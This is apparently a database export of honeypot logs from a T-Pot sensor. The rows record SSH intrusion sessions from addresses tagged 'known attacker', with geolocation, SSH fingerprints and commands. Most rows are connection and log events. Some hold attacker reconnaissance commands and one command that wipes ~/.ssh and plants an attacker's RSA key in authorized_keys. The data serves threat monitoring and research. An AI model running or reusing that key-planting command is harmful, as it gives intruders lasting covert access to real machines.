32873	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:04.960312+03	2021-09-20 15:00:04.029723+03	{"_id": "VgYOA3wBvYTbRNuEW03W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mn10300-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.session.params", "message": [], "session": "373281d7e10b", "@version": "1", "timestamp": "2021-09-20T11:54:04.960312Z", "@timestamp": "2021-09-20T11:54:04.960Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32874	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:04.960842+03	2021-09-20 15:00:04.030722+03	{"_id": "VwYOA3wBvYTbRNuEW03W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "input": "uname -m", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.command.input", "message": "CMD: uname -m", "session": "373281d7e10b", "@version": "1", "timestamp": "2021-09-20T11:54:04.960842Z", "@timestamp": "2021-09-20T11:54:04.960Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32875	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:04.619378+03	2021-09-20 15:00:04.032722+03	{"_id": "WAYOA3wBvYTbRNuEW03X", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 20, "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "src_ip": "91.231.219.157", "ttylog": "log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0 seconds", "session": "d37f4c901d29", "@version": "1", "duration": 0.21128177642822266, "duplicate": true, "timestamp": "2021-09-20T11:54:04.619378Z", "@timestamp": "2021-09-20T11:54:04.619Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32876	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:04.495848+03	2021-09-20 15:00:04.033722+03	{"_id": "UQYOA3wBvYTbRNuEW03W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 197, "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "src_ip": "189.50.42.214", "ttylog": "log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0 seconds", "session": "373281d7e10b", "@version": "1", "duration": 0.46961522102355957, "duplicate": true, "timestamp": "2021-09-20T11:54:04.495848Z", "@timestamp": "2021-09-20T11:54:04.495Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32877	5.188.62.250	109.199.241.180	Cowrie	2021-09-20 14:54:04.963127+03	2021-09-20 15:00:04.034722+03	{"_id": "UwYOA3wBvYTbRNuEW03W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.250", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.250", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-Go'", "session": "e8816f27cf71", "version": "b'SSH-2.0-Go'", "@version": "1", "timestamp": "2021-09-20T11:54:04.963127Z", "@timestamp": "2021-09-20T11:54:04.963Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
32878	91.231.219.157	109.199.241.180	Fatt	2021-09-20 14:53:59.833945+03	2021-09-20 15:00:04.035723+03	{"_id": "EQYOA3wBvYTbRNuESk2_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "91.231.219.157", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 59934, "dest_port": 22, "timestamp": "2021-09-20T11:53:59.833945", "@timestamp": "2021-09-20T11:53:59.833Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
32879	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:00.190161+03	2021-09-20 15:00:04.037722+03	{"_id": "EwYOA3wBvYTbRNuETE0y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 25, "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "6374f58a074c38c747bf9ecf4e6baa617bb52fe3b989aa86eab72dbe439f62f7", "src_ip": "189.50.42.214", "ttylog": "log/tty/6374f58a074c38c747bf9ecf4e6baa617bb52fe3b989aa86eab72dbe439f62f7", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/6374f58a074c38c747bf9ecf4e6baa617bb52fe3b989aa86eab72dbe439f62f7 after 0 seconds", "session": "373281d7e10b", "@version": "1", "duration": 0.4720172882080078, "duplicate": false, "timestamp": "2021-09-20T11:54:00.190161Z", "@timestamp": "2021-09-20T11:54:00.190Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32880	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:00.532001+03	2021-09-20 15:00:04.038723+03	{"_id": "FQYOA3wBvYTbRNuETE0z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mn10300-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.session.params", "message": [], "session": "373281d7e10b", "@version": "1", "timestamp": "2021-09-20T11:54:00.532001Z", "@timestamp": "2021-09-20T11:54:00.532Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32881	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:54:01.508653+03	2021-09-20 15:00:04.040722+03	{"_id": "HgYOA3wBvYTbRNuEUE0c", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "4b9ace7639c7", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:54:01.508653Z", "@timestamp": "2021-09-20T11:54:01.508Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
32882	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:01.744799+03	2021-09-20 15:00:04.041722+03	{"_id": "IQYOA3wBvYTbRNuEUE0c", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.session.params", "message": [], "session": "d37f4c901d29", "@version": "1", "timestamp": "2021-09-20T11:54:01.744799Z", "@timestamp": "2021-09-20T11:54:01.744Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32883	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:54:01.178238+03	2021-09-20 15:00:04.042722+03	{"_id": "HwYOA3wBvYTbRNuEUE0c", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "e4b171a13baf", "@version": "1", "duration": 2.3039727210998535, "timestamp": "2021-09-20T11:54:01.178238Z", "@timestamp": "2021-09-20T11:54:01.178Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
32884	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:01.902705+03	2021-09-20 15:00:04.043722+03	{"_id": "JQYOA3wBvYTbRNuEUE0c", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "src_ip": "189.50.42.214", "eventid": "cowrie.session.file_download", "message": "Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to dl/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "outfile": "dl/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "session": "373281d7e10b", "@version": "1", "destfile": "/root/.ssh/authorized_keys", "duplicate": true, "timestamp": "2021-09-20T11:54:01.902705Z", "@timestamp": "2021-09-20T11:54:01.902Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.file_download	\N	known attacker	\N
32885	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:01.905555+03	2021-09-20 15:00:04.044722+03	{"_id": "IgYOA3wBvYTbRNuEUE0c", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "src_ip": "189.50.42.214", "ttylog": "log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0 seconds", "session": "373281d7e10b", "@version": "1", "duration": 0.5145130157470703, "duplicate": true, "timestamp": "2021-09-20T11:54:01.905555Z", "@timestamp": "2021-09-20T11:54:01.905Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32886	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:54:01.503353+03	2021-09-20 15:00:04.046721+03	{"_id": "JgYOA3wBvYTbRNuEUE0c", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 183.17.231.81:47676 (192.168.176.2:22) [session: 4b9ace7639c7]", "session": "4b9ace7639c7", "@version": "1", "protocol": "ssh", "src_port": 47676, "dest_port": 22, "timestamp": "2021-09-20T11:54:01.503353Z", "@timestamp": "2021-09-20T11:54:01.503Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
32887	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:01.391679+03	2021-09-20 15:00:04.047721+03	{"_id": "JwYOA3wBvYTbRNuEUE0c", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "input": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.command.input", "message": "CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "session": "373281d7e10b", "@version": "1", "timestamp": "2021-09-20T11:54:01.391679Z", "@timestamp": "2021-09-20T11:54:01.391Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32888	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:01.745379+03	2021-09-20 15:00:04.048723+03	{"_id": "KAYOA3wBvYTbRNuEUE0c", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "input": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \\"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.command.input", "message": "CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \\"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~", "session": "d37f4c901d29", "@version": "1", "timestamp": "2021-09-20T11:54:01.745379Z", "@timestamp": "2021-09-20T11:54:01.745Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32889	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:01.956814+03	2021-09-20 15:00:04.050722+03	{"_id": "KQYOA3wBvYTbRNuEUE0c", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 107, "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f", "src_ip": "91.231.219.157", "ttylog": "log/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0 seconds", "session": "d37f4c901d29", "@version": "1", "duration": 0.21209383010864258, "duplicate": true, "timestamp": "2021-09-20T11:54:01.956814Z", "@timestamp": "2021-09-20T11:54:01.956Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32890	183.17.231.81	109.199.241.180	Suricata	2021-09-20 14:54:01.804224+03	2021-09-20 15:00:04.051722+03	{"_id": "KgYOA3wBvYTbRNuEUU2I", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "183.17.231.81", "dest_ip": "192.168.20.116", "flow_id": 2187660757641028, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 47676, "dest_port": 22, "timestamp": "2021-09-20T11:54:01.804224Z", "@timestamp": "2021-09-20T11:54:01.804Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
32891	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:02.813629+03	2021-09-20 15:00:04.053723+03	{"_id": "MQYOA3wBvYTbRNuEVE0E", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 50, "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "src_ip": "189.50.42.214", "ttylog": "log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0 seconds", "session": "373281d7e10b", "@version": "1", "duration": 0.5107326507568359, "duplicate": true, "timestamp": "2021-09-20T11:54:02.813629Z", "@timestamp": "2021-09-20T11:54:02.813Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
